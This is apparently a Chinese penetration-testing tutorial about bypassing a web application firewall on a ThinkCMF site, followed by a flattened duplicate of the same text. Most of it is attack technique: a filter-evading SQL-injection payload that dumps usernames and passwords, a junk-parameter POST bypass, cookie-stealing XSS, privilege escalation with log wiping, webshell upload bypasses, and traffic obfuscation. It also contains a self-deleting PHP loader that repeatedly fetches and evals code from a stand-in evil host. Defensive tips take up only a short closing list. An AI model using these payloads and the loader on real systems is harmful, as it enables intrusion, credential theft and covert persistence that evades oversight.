与某WAF斗智斗勇的每一天
字数 1626 2025-08-15 21:31:50

与某WAF斗智斗勇的渗透测试实战教学文档

0x00 前言

本文记录了一次针对部署了高级WAF系统的渗透测试过程,展示了如何逐步绕过WAF防护并最终获取系统权限的技术细节。目标系统基于ThinkCMF框架,部署了基于特征+行为检测的WAF防护系统。

0x01 初始信息收集

1.1 目标系统概况

  • 框架: ThinkCMF
  • 中间件: Nginx
  • 操作系统: Linux
  • 防护系统: 基于特征+行为检测的WAF
  • 其他特征: 开启了ThinkPHP的SQL调试模式

1.2 初始发现

  • 发现伪静态参数单引号报错漏洞
  • 报错信息包含:
    • 完整SQL语句
    • 配置文件内容(含数据库凭证)
    • 当前库名表名
    • 当前用户完整信息

0x02 SQL注入绕过技术

2.1 WAF检测特征分析

  1. 过滤规则:

    • 过滤union select → 使用union distinct select绕过
    • 过滤select后的空格 → 用引号包裹参数不加空格
    • 过滤from后的空格 → 使用科学计数法不加空格
    • 过滤information_schema → 未绕过(但通过报错已获取表名)
  2. 最终有效Payload:

https://www.example.com/a/b/c/id/1) uNiondistinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0

2.2 旁站利用技术

  1. 发现旁站B站存在后台弱口令漏洞
  2. 利用后台SQL查询功能:
    • POST型WAF绕过: 传递100个垃圾参数后,第101个参数不受检测
    • 获取数据库root权限(但受文件读写限制)

2.3 数据库连接测试技巧

使用数据库测试连接功能探测真实IP:

  1. 在VPS上使用nc监听端口
  2. 通过测试连接功能发送请求
  3. 从nc接收到的连接获取IP地址

0x03 后台渗透技术

3.1 后台发现

  • 从数据库系统配置表中获取加密后台地址字符串
  • 直接拼接到URL后访问成功

3.2 隐蔽登录技术

  1. XSS盲打尝试:

    • 修改登录日志为窃取cookie的JS代码
    • 失败(日志被管理员清除)
  2. 权限提升+快速清理:

    • 将普通用户提权为管理员
    • 提前准备清理单条日志的SQL语句
    • 快速登录并执行清理操作

0x04 文件上传绕过技术

4.1 WAF上传检测机制

  1. 文件后缀名检测(php/php2/php3等)
  2. 文件内容检测(<?php标签)

4.2 绕过方法

  1. 后缀名绕过:
    filename==="shell';.php"
  2. 内容绕过:
    • 使用PHP短标签<??>
    • 避免使用<?php标签

4.3 WAF行为学习机制

  • 初次上传大马可用约30分钟
  • 第二次上传后约10分钟被杀
  • 第三次上传后1分钟内被杀
  • 最终导致旁站SQL查询功能也被拦截

0x05 高级绕过技术思考

5.1 代理池隐蔽技术

  • 构造大量正常访问流量
  • 将恶意流量混入其中
  • 降低恶意流量比例避免触发WAF模型

5.2 加密返回报文

  • 修改冰蝎等工具去除流量特征
  • 完全加密返回包内容
  • 防止WAF基于返回内容的特征匹配

5.3 无文件木马技术

<?php
    unlink($_SERVER['SCRIPT_FILENAME']);
    ignore_user_abort(true);
    set_time_limit(0);
    $remote_file ='http://www.evilsite.com/eval.txt';
    while($code =file_get_contents($remote_file)){
        @eval($code);
        sleep(5);
    };
?>

0x06 总结与防御建议

6.1 渗透测试关键点

  1. 充分利用系统报错信息
  2. 多角度测试WAF过滤规则
  3. 利用旁站弱点迂回攻击
  4. 注意WAF的行为学习特性
  5. 保持操作隐蔽性

6.2 防御建议

  1. 关闭不必要的调试信息
  2. 实现多因素认证防止弱口令
  3. 监控和限制数据库操作
  4. 实施严格的权限分离
  5. 定期审计和更新WAF规则

附录:技术要点速查表

技术类别 绕过方法 适用场景
SQL注入 union distinct select WAF过滤union select
SQL注入 科学计数法绕过空格 WAF过滤from后空格
POST绕过 100+垃圾参数 POST型WAF检测
文件上传 引号分号混淆后缀 后缀名检测
文件上传 PHP短标签 内容检测
隐蔽连接 代理池/流量混淆 行为检测
持久化 无文件木马 文件检测
与某WAF斗智斗勇的渗透测试实战教学文档 0x00 前言 本文记录了一次针对部署了高级WAF系统的渗透测试过程,展示了如何逐步绕过WAF防护并最终获取系统权限的技术细节。目标系统基于ThinkCMF框架,部署了基于特征+行为检测的WAF防护系统。 0x01 初始信息收集 1.1 目标系统概况 框架: ThinkCMF 中间件: Nginx 操作系统: Linux 防护系统: 基于特征+行为检测的WAF 其他特征: 开启了ThinkPHP的SQL调试模式 1.2 初始发现 发现伪静态参数单引号报错漏洞 报错信息包含: 完整SQL语句 配置文件内容(含数据库凭证) 当前库名表名 当前用户完整信息 0x02 SQL注入绕过技术 2.1 WAF检测特征分析 过滤规则 : 过滤 union select → 使用 union distinct select 绕过 过滤 select 后的空格 → 用引号包裹参数不加空格 过滤 from 后的空格 → 使用科学计数法不加空格 过滤 information_schema → 未绕过(但通过报错已获取表名) 最终有效Payload : 2.2 旁站利用技术 发现旁站B站存在后台弱口令漏洞 利用后台SQL查询功能: POST型WAF绕过: 传递100个垃圾参数后,第101个参数不受检测 获取数据库root权限(但受文件读写限制) 2.3 数据库连接测试技巧 使用数据库测试连接功能探测真实IP: 在VPS上使用nc监听端口 通过测试连接功能发送请求 从nc接收到的连接获取IP地址 0x03 后台渗透技术 3.1 后台发现 从数据库系统配置表中获取加密后台地址字符串 直接拼接到URL后访问成功 3.2 隐蔽登录技术 XSS盲打尝试 : 修改登录日志为窃取cookie的JS代码 失败(日志被管理员清除) 权限提升+快速清理 : 将普通用户提权为管理员 提前准备清理单条日志的SQL语句 快速登录并执行清理操作 0x04 文件上传绕过技术 4.1 WAF上传检测机制 文件后缀名检测(php/php2/php3等) 文件内容检测( <?php标签) 4.2 绕过方法 后缀名绕过 : filename==="shell';.php" 内容绕过 : 使用PHP短标签 <??> 避免使用 <?php 标签 4.3 WAF行为学习机制 初次上传大马可用约30分钟 第二次上传后约10分钟被杀 第三次上传后1分钟内被杀 最终导致旁站SQL查询功能也被拦截 0x05 高级绕过技术思考 5.1 代理池隐蔽技术 构造大量正常访问流量 将恶意流量混入其中 降低恶意流量比例避免触发WAF模型 5.2 加密返回报文 修改冰蝎等工具去除流量特征 完全加密返回包内容 防止WAF基于返回内容的特征匹配 5.3 无文件木马技术 0x06 总结与防御建议 6.1 渗透测试关键点 充分利用系统报错信息 多角度测试WAF过滤规则 利用旁站弱点迂回攻击 注意WAF的行为学习特性 保持操作隐蔽性 6.2 防御建议 关闭不必要的调试信息 实现多因素认证防止弱口令 监控和限制数据库操作 实施严格的权限分离 定期审计和更新WAF规则 附录:技术要点速查表 | 技术类别 | 绕过方法 | 适用场景 | |---------|---------|---------| | SQL注入 | union distinct select | WAF过滤union select | | SQL注入 | 科学计数法绕过空格 | WAF过滤from后空格 | | POST绕过 | 100+垃圾参数 | POST型WAF检测 | | 文件上传 | 引号分号混淆后缀 | 后缀名检测 | | 文件上传 | PHP短标签 | 内容检测 | | 隐蔽连接 | 代理池/流量混淆 | 行为检测 | | 持久化 | 无文件木马 | 文件检测 |